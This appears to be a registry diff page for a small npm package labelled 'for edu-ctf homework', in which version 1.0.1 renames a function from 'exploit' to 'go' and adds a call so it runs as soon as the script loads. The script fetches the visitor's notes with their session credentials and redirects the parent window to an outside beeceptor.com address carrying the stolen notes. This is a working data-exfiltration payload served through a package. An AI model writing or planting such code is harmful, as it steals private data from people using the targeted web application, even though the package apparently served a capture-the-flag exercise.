note_unpkg 1.0.0 → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +2 -1
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,4 +1,4 @@
1
- async function exploit() {
1
+ async function go() {
2
2
  let notes = await fetch("/api/notes/all", {
3
3
  "method": "GET",
4
4
  "credentials": "include"})
@@ -13,3 +13,4 @@ async function exploit() {
13
13
  await new Promise(r => setTimeout(r, 2000));
14
14
  window.parent.location = "https://o4o55555.free.beeceptor.com?q=" + notes
15
15
  };
16
+ await go();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "note_unpkg",
3
- "version": "1.0.0",
3
+ "version": "1.0.1",
4
4
  "description": "for edu-ctf homework",
5
5
  "main": "index.js",
6
6
  "scripts": {